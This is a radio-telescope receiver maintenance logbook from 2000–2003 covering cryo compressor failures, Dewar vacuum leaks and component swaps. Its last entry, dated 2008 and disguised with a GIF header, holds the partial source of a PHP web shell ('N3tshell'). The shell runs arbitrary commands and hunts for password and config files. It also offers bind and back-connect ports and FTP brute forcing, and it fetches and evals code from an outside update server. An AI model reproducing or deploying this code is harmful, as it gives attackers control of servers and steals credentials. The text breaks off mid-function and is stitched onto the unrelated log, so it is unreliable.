Receiver was not working , due that the AC power for the Lin/Pol box was disconected.
ANS
anolla@naic.edu
10/4/2000
Again the Lin/Pol box was not working, this time was found that the control cable for the
box was broken at the rfi filters on the cabinet.
ANS
anolla@naic.edu
10/25/2000
System shut off for maint.Crosshead higly contaminated ,the crosshead ED 027
was replaced with ED 021 , but after installing these replacement crosshead it got bad for
some reason ,so cleaning up ED 027 to installed it back.
ANS
anolla@naic.edu
10/27/2000
Problems with crosshead ED027 , it was leaking thru the power conn. It was
replaced with ED 021.
ANS
anolla@naic.edu
11/25/2000
Cryo comp 011 blew up, so cryo system hooked to comp 007.
ANS
anolla@naic.edu
12/27/2000
Cryo system hooked up to comp 012 , was using comp 007.
ANS
anolla@naic.edu
12/29/2000
Cryo system hooked back to comp 007 , but using cryo lines 3 & 4. We suspect of
leaky lines on 12 & 13.
ANS
anolla@naic.edu
1/19/2001
The Vacion pump power supply turned off , it was causing RFI.It happened with
both power supplies at the Dome.
ANS
anolla@naic.edu
` 3/12/2001
The cryo comp failed on 3/10/2001 due to a power glitch.Jose Rosa & Bill Genter
came to cooled it down on 3/11/2001.
ANS
anolla@naic.edu
7/5/2001
The polarization sw was not working due to a bad 5 vdc supply (shorted out
capacitor on the regulator)
ANS
anolla@naic.edu
7/16/2001
The polarization sw box was taken down on 7/13/2001 in order to check its phase
shift across it.
ANS
anolla@naic.edu
7/18/2001
Polarization box installed back into system by EC/EG . It was taken down to
measure its phase shift because it was not in schedule its use.
ANS
anolla@naic.edu
8/13/2001
The cryo comp and cryo lines were hooked to their proper ones. Now comp ED
008 and lines 8/9 are the ones hooked to the system as they were.
ANS
anolla@naic.edu
8/21/2001
Due to a power glitch the cryo comp tripped off. It was recovered after 15
minutes.
ANS
anolla@naic.edu
10/2/2001
Cryo compressor failed ( ED 008) , sound like broken flappers inside of it . It was
replaced with comp ED 011.
ANS
anolla@naic.edu
10/9/2001
System off in order to replace crosshead, is overdue.
ANS
anolla@naic.edu
10/10/2001
System was cooled down without replacing the crosshead due to running short of
time, the 430 mhz dual-beam experiment was running and we were no able to stay
upstairs. Have to be reschedule again, crosshead replacement soon overdue.
ANS
anolla@naic.edu
10/17/2001
The system was shutted off on 10/15/2001 in order to replace the crosshead. The
crosshead removed was ED 021 and the one installed ED 024.
ANS
anolla@naic.edu
10/18/2001
The amps were turned on today . Cryo comp was 50/245 , charged it to 65/260.
ANS
anolla@naic.edu
2/8/2002
Due that cryo temp was increasing Coco went upstairs and purged the system; it is
on schedule to replace the cryopump next week.
ANS
anolla@naic.edu
2/11/2002
Replacement RF filters for the filter bank pos # 6 arrived, the ones that were there
had a high ripple on them. These was done on 11/15/2001 , there is no entry of such
problem on this logbook. Fo is 1415 mhz B.W. 110 mhz. (1360/1470 mhz).
ANS
anolla@naic.edu
2/14/2002
System shut off in order to replace the cryopump , it is contaminated . Also the
polarization box and filter bank was taken down to check them.
ANS
anolla@naic.edu
2/15/2002
Cryopump replaced was ED 024 , now is ED 027 (1020's). System been cooled
down. The polarization box and filter bank were removed in order to check them down at
the lab.
ANS
anolla@naic.edu
2/18/2002
System back to normal , the pol box and filter bank were installed back.
ANS
anolla@naic.edu
2/20/2002
JR found the cryopump loose (system shut off), it had the back holding screws
broken . Were removed using an screw extractor , also treads of screws were cleaned.By
mistake we left Dewar pumping and after 24 hours the Dewar was still cold , so when we
took out the cryopump it's displacers got frozen ,beware next time,don't leave Dewar
pumping.
ANS
anolla@naic.edu
2/21/2002
System been cooled ,using new tunable cryopump driver. Still the squique noise
can be heared on the cryopump.
ANS
anolla@naic.edu
2/22/2002
The Dewar vacuum was found reading to high this morning ( 6 un's) , also VP
was high ( 50 ) and its cryo temp were 26.7 ºk at 16 º k stage and 165.7 ºk at 70 ºk stage
, then we started pumping the Dewar and its cryo parameters went down ( vac 1.2 un's ,
VP 9 , 16 º stage 18.9 ºk , 70 ºk stage 158.7 ºk ) . There is also a problem with the
downstairs cryo reading , it is not accurate have to find out what's wrong with it.
Went up again in the afternoon to double check the Dewar status . Its cryo temps
were 18.1 at 16 º stage and 140.1 at the 70 º stage , VP was 7 and vacuum 1.8 un's .
ANS
anolla@naic.edu
2/25/2002
Found this morning that cryo temp , vp & vac were high , so we start pumping it .
The vac valve at the Dewar left open with the pump running.
ANS
anolla@naic.edu
2/26/2002
The Dewar vac was 1 un and its VP 2, also its cryo temps were 15.7 & 104.9 after
been pumping it for 24 hours. So we are monitoring it for a while. Valve was closed.
ANS
anolla@naic.edu
2/28/2002
JR brought down the rem / local cryo reading chassis to check it due that the
remote reading was giving wrong readings. IC found a loose connection on the relay
board and replace the relay. Now the readings are ok.
ANS
anolla@naic.edu
3/7/2002
JR found Dewar was losing vacuum , was 2.5 un's.VP was 9 . Cryo temps were
18.9 ºk and 114.7 ºk . So he started pumping the Dewar we suspect of a small leak or He
contamination .
ANS
anolla@naic.edu
3/8/2002
Valve closed , VP 1 , vac 1.4 un's . Cryo temps are 14.7 ºk and 89.9 ºk.
ANS
anolla@naic.edu
4/2/2002
System turned off in order to replace cryopump, cryo temp has been cycling since
last cool down.
ANS
anolla@naic.edu
4/3/2002
Replace the cryopump , it was 027 , now is 024.
ANS
anolla@naic.edu
4/15/2002
The recvr Dewar has a leak since ??????? , so the vacpump was left pumping the
Dewar. It has a better cryo temps .WG & JR were triying to locate it with the Varian leak
detector.
ANS
anolla@naic.edu
4/17/2002
System still with a leak. Vacpump attached to Dewar again.
ANS
anolla@naic.edu
6/5/2002
Vacpump attached to Dewar , vpg & cryotemps up again.
ANS
anolla@naic.edu
6/7/2002
Dewar valve closed.Vac pump off.
ANS
anolla@naic.edu
6/13/2002
Vacpump attached to Dewar, VPG was 8.Its vacion current is typically 80 ua.
ANS
anolla@naic.edu
8/1/2002
WG swap the bias card in order to pinpoint an oscillation in channel
A.Biases were adjusted, Tsys normal in both channels after the swap.
Biases settings were:Stage 1: 1.538V/7.52 mA Stage 2: 2.518V/7.04 mA Stage 3: 3.903/8.04 mA Chann B
ANS
anolla@naic.edu
Wednesday, September 25, 2002 11:51:28
Dewar warmed up due to power dip , been cooled.
ans
anolla@naic.edu
Thursday, September 26, 2002 14:13:10
Dewar cooled. Dewar valve closed . Vacion on ( 70 ua )
ans
anolla@naic.edu
Wednesday, October 9, 2002 12:51:27
The cryo comp was relpaced with one with remote sw (ED 010)it was cryocomp ED 013.
ans
anolla@naic.edu
Monday, October 28, 2002 09:51:52
Cryocomp replaced due to fan failure.
ans
anolla@naic.edu
Thursday, November 21, 2002 11:23:07
The receiver focal point was readjusted . It was lowered by 4".Have to observe with it to know if there is any improment.
LSW
lwray@naic.edu
Friday, November 22, 2002 17:41:23
improvement due to receiver re-focussing: 10% increase in K/Jy of the telescope.
ans
anolla@naic.edu
Wednesday, November 13, 2002 13:57:42
Amp sn L126 is on channel A , sn L128 is on B. Also the power barrier strips were isolated with insulators.
ans
anolla@naic edu.
Tuesday, January 28, 2003 11:28:09
Control boxes were removed from system , going to be tested with the new NRAO recvr.
ans
anolla@naic.edu
Monday, February 3, 2003 13:30:40
System was shut off in order to remove the Dewar to replce it with the NRAO one.
ans
anolla@naic edu.
Tuesday, February 18, 2003 14:32:01
Dewar removed & taken down.
lol
lol@hotmail.com
Wednesday, June 11, 2008 12:29:21
GIF89;a$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "Emp3ror Undetectable #18"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("N3tsh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_surl",$surl);}
else {$surl = $_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["N3tsh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " N3tshell v. ".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$N3tsh_updateurl = "http://emp3ror.com/N3tshell//update/"; //Update server
$N3tsh_sourcesurl = "http://emp3ror.com/N3tshell/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "
Owned by Spyn3t
";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "Spyn3t@gmail.com"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "" (default)
string {closetag} - close html-tag, e.g. "" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"",""), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "N3t"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "N3tshvars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("",$surl),
array("","#\" onclick=\"history.back(1)"),
array("","#\" onclick=\"history.go(1)"),
array("",$surl."act=ls&d=%upd&sort=%sort"),
array("",""),
array("",$surl."act=search&d=%d"),
array("",$surl."act=fsbuff&d=%d"),
array("Encoder",$surl."act=encoder&d=%d"),
array("Tools",$surl."act=tools&d=%d"),
array("Proc.",$surl."act=processes&d=%d"),
array("FTP brute",$surl."act=ftpquickbrute&d=%d"),
array("Sec.",$surl."act=security&d=%d"),
array("SQL",$surl."act=sql&d=%d"),
array("PHP-code",$surl."act=eval&d=%d"),
array("Update",$surl."act=update&d=%d"),
array("Feedback",$surl."act=feedback&d=%d"),
array("Self remove",$surl."act=selfremove"),
array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["N3tshcook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("N3tshell: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"N3tshell ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); N3tsh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("N3t_buff_prepare"))
{
function N3t_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
N3t_buff_prepare();
if (!function_exists("N3t_sess_put"))
{
function N3t_sess_put($data)
{
global $sess_cookie;
global $sess_data;
N3t_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "".view_perms(fileperms($o))."";}
elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";}
else {return "".view_perms(fileperms($o))."";}
}
}
if (!function_exists("N3tgetsource"))
{
function N3tgetsource($fn)
{
global $N3tsh_sourcesurl;
$array = array(
"N3tsh_bindport.pl" => "N3tsh_bindport_pl.txt",
"N3tsh_bindport.c" => "N3tsh_bindport_c.txt",
"N3tsh_backconn.pl" => "N3tsh_backconn_pl.txt",
"N3tsh_backconn.c" => "N3tsh_backconn_c.txt",
"N3tsh_datapipe.pl" => "N3tsh_datapipe_pl.txt",
"N3tsh_datapipe.c" => "N3tsh_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($N3tsh_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("N3tsh_getupdate"))
{
function N3tsh_getupdate($update = TRUE)
{
$url = $GLOBALS["N3tsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download N3tshell.php manually here.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by N3tShell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
